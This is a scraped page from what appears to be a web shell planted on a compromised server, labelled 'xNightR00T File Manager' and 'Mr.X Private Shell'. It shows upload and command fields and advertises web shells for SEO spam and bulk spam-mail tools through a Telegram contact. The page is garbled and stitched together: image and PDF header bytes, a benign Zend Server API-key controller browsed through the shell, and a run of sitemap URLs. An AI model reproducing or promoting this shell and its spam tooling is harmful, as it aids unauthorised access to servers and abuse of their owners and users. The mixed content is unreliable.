xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
zsApp.controller('ApiKeysController', ['$rootScope', '$scope', '$state', '$http', 'WebAPI', 'ngDialog', 'ZSPolling', '$timeout', 'zConfirmBox', 'uiGridConstants', 'zPromptBox',  function($rootScope, $scope, $state, $http, WebAPI, ngDialog, ZSPolling, $timeout, zConfirmBox, uiGridConstants, zPromptBox) {

	var defaultSortOrder = [uiGridConstants.ASC, uiGridConstants.DESC];
	$scope.setHelpLinkSlug('api_keys');
	
	$scope.loadAPIKeys = function() {

		$scope.isLoading = true;

		WebAPI({
			url: '/ZendServer/Api/apiKeysGetList'
		}).then(function(response) {
			
			var keysData=[];
			angular.forEach(response.data.responseData.keys, function(row) {
				// remove the system keys
				if (row.username != 'System Key') {
					keysData.push(row);
				}
			});
			
			$scope.keysGridOptions.data = keysData;
			$scope.isLoading = false;
		});

	};
	
	$scope.loadUsersList = function() {
		$scope.isLoadingSimple = true;
		WebAPI({
			url: '/ZendServer/Api/usersGetList'
		}).then(function(response) {
			$scope.isLoadingSimple = false;
			$scope.users = response.data.responseData.users;
		});
	};
	
	$scope.deleteKey = function($event, keys) {
		
		var msg = "Are you sure you would like to delete the WebAPI Key(s)?";
				
		zConfirmBox(msg, function() {
				
			$scope.isDeleting = true;
			WebAPI({
				url: '/ZendServer/Api/apiKeysRemoveKey',
				data: {
					'ids': keys
				},
				method: 'post'
			}).then(function(response) {
				$scope.selects.isAllSelected = false;
				$scope.loadAPIKeys();
				document.fireEvent('toastNotification', {
					'message': 'Key successfully removed'
				});

				ngDialog.close();
			}, function(response) {
				document.fireEvent('toastAlert', {
					'message': response.data.errorData.errorMessage
				});
			}).finally(function() {
				$scope.isDeleting = false;
			});
		});
	};


	$scope.runActionOnSelectedKeys = function(action) {
		if ($scope.gridApi.grid.getVisibleRows().length === 0) {
			return;
		}

		$scope.dialogShown = false;
		var ids = [];
		angular.forEach($scope.gridApi.grid.getVisibleRows(), function(row) {
			// only if at least 1 of rows is selected
			if (row.isSelected) {
				// fixed bug #ZSRV-17082, no ids were added
				ids.push(row.entity.id);
			}
		});

		$scope.deleteKey(null, ids);
		// reinit the selection flag, bug #ZSRV-17506
		$scope.noOneSelected = true;
	};
	
	$scope.createKey = function(action) {
		
		var keyOwner;
		
		if ($rootScope.aclService.ACL.authentication.simple) {
			
			keyOwner = '<select ng-model="newKeyData.username">';
			angular.forEach($scope.users, function(user) {
				keyOwner += '<option value="' + user.name + '">' + user.name + '</option>';
				
			});
			keyOwner += '</select>';
		} else {
			keyOwner = '<input ng-model="newKeyData.username" type="text" placeholder="e.g. admin, developer" >' +
					   '<div class="zend-form-table-description"><em>Enter the username of the key owner</em></div>';
		}
			
		
		ngDialog.open({
			scope: $scope,
			template: '<form method="POST"><div class="z-message-box">' +
				'	<div class="z-message-box-header">Add API Key</div>' +
				' 	<div class="divKey"><label for="name">Key Name</label>' +
				'	<input ng-model="newKeyData.name" type="text"></div>' +
				
				' 	<div class="divKey"><label for="username">Key Owner</label>' + 
					keyOwner + 
				
				'	</form>' + 
				
				'	<div class="z-message-box-buttons text-right">' +
				'		<a class="btn btn-default" title="Cancel" ng-click="closeThisDialog(0);">Cancel</a>' +
				'		<a class="btn btn-blue" ng-click="addKey();closeThisDialog(0);"' + 
							'<span ng-show="!isSaving">Save key</span>' + 
							'<span ng-show="isSaving">Saving</span>' +
						'</a>' + 
				'	</div>' +
				'</div>',
			plain: true,
			closeByEscape: true
		});
	};
	
	$scope.addKey = function() {
		
		$scope.isSaving = true;
		var data = $scope.newKeyData;
		
		// load servers list
		WebAPI({
			method: 'POST',
			url: '/ZendServer/Api/apiKeysAddKey',
			data: $scope.newKeyData
		}).then(function(response) {
				$scope.loadAPIKeys();
				document.fireEvent('toastNotification', {
					'message': 'The new key was successfully added'
				});
				
			}, function(response) {
				document.fireEvent('toastAlert', {
					'message': response.data.errorData.errorMessage
				});
			}).
		
			finally(function() {
				$scope.isSaving = false;
				//ngDialog.close();
			});
	};

	$scope.selects = {
		isAllSelected: false
	};

	$scope.selectAll = function() {
		angular.forEach($scope.gridApi.grid.getVisibleRows(), function(row) {
			row.isSelected = $scope.selects.isAllSelected;
		});
		$scope.noOneSelected = !$scope.selects.isAllSelected;
	};
	
	$scope.onRowSelected = function(grid) {
		$scope.noOneSelected = true;
		angular.forEach($scope.gridApi.grid.getVisibleRows(), function(row) {
           if (row.isSelected) {
            	$scope.noOneSelected = false;
           }
	    });
	};

	$scope.initKeysTable = function() {

		$scope.keysGridOptions = {
			onRegisterApi: function(gridApi) {
				$scope.gridApi = gridApi;
			},
				
			columnDefs: [{
				field: 'id',
				displayName: 'Select',
				cellTemplate: '<div class="ngSelectionCell ui-grid-cell-contents-center ui-grid-cell-checkbox" ng-click="row.isSelected = ! row.isSelected;  grid.appScope.onRowSelected(); $event.stopPropagation();"><input tabindex="-1" class="ngSelectionCheckbox" type="checkbox" ng-change="grid.appScope.onRowSelected();$event.stopPropagation();" ng-model="row.isSelected" /></div>',
				headerCellTemplate: '<div class="ui-grid-cell-contents ui-grid-cell-contents-center ui-grid-cell-checkbox"><input tabindex="-1" class="ngSelectionCheckbox" type="checkbox" ng-change="grid.appScope.selectAll() " ng-click="$event.stopPropagation();" ng-model="grid.appScope.selects.isAllSelected" /></div>',
				enableSorting: false,
				width: '48',
			}, {
				field: 'id',
				displayName: 'ID',
				width: '50',
				type: 'number'
			}, {
				field: 'name',
				displayName: 'Name',
				width: '200',
				cellTooltip: function(row, col) {
					return row.entity.name;
				},
			}, {
				field: 'hash',
				displayName: 'Hash',
				width: '*',
				cellTemplate: 
					'<div class="ui-grid-cell-contents" style="padding-right: 30px; position: relative;">' + 
					'	{{row.entity.hash}}' + 
					'	<div class="zdb-copy-img" title="Copy to clipboard" ngclipboard ' + 
					'		style="position: absolute; right: 5px;" ' + 
					'		ngclipboard-success="grid.appScope.onClipboardCopySuccess(e)" ngclipboard-error="onClipboardCopyError(row.entity.hash)" ' + 
					'		data-clipboard-text="{{row.entity.hash}}"></div>' + 
					'</div>',
			}, {
				field: 'username',
				displayName: 'Username',
				cellTemplate: '<div class="ui-grid-cell-contents" title="{{row.entity.username}}">{{row.entity.username}}</div>',
				width: '150'
			}, {
				name: 'creationTimeTimestamp',
				displayName: 'Creation Time',
				width: '150',
				sort: {
					direction: uiGridConstants.DESC,
				},
				sortDirectionCycle: defaultSortOrder,
				cellTemplate: '<div class="ui-grid-cell-contents">{{ row.entity.creationTimeTimestamp * 1000 | formatDate }}</div>',
			}, {
				field: 'id',
				displayName: 'Actions',
				cellTemplate: '/ZendServer/ModuleResource/WebAPI/templates/actionsCol.html',
				width: '80'
			}]
		};
	};

	$scope.loadDevKey = function() {
		$http({
			url: '/ZendServer/ApiKeys/getUserKey/'
		}).then(function(response){
			$scope.userKey = response.data.key;
		});
	};

	$scope.enableKey = function() {
		$scope.changingKey = true;
		zPromptBox('Please enter your password', function(password) {			
			WebAPI({
				method: 'post',
				url: '/ZendServer/Api/apiKeysEnableKey',
				data: {
					password: password
				}
			}).finally(function(){
				$scope.loadDevKey();
				$scope.changingKey = false;
			});
		},null, 'password');
	};
	
	$scope.disableKey = function() {
		$scope.changingKey = true;
		WebAPI({
			method: 'post',
			url: '/ZendServer/Api/apiKeysDisableKey',
		}).finally(function(){
			$scope.loadDevKey();
			$scope.changingKey = false;
		});
	};

	$scope.run = function() {

		$scope.isActivating = false;
		$scope.isDeleting = false;
		$scope.newKeyData = {
			username: 'admin'
		};

		$scope.isAuthorized = $rootScope.aclService.isAclAllowed('route:KeysWebAPI', 'apiKeysAddKey');
		$scope.noOneSelected = true;
		
		if ($scope.isAuthorized) {
			$scope.initKeysTable();
			$timeout($scope.loadAPIKeys, 0);
			$scope.loadUsersList();
		} else {
			$scope.loadDevKey();
		}
	};

	$scope.run();
}]);

Filemanager

Name Type Size Permission Actions
webapikeys.js File 8.3 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml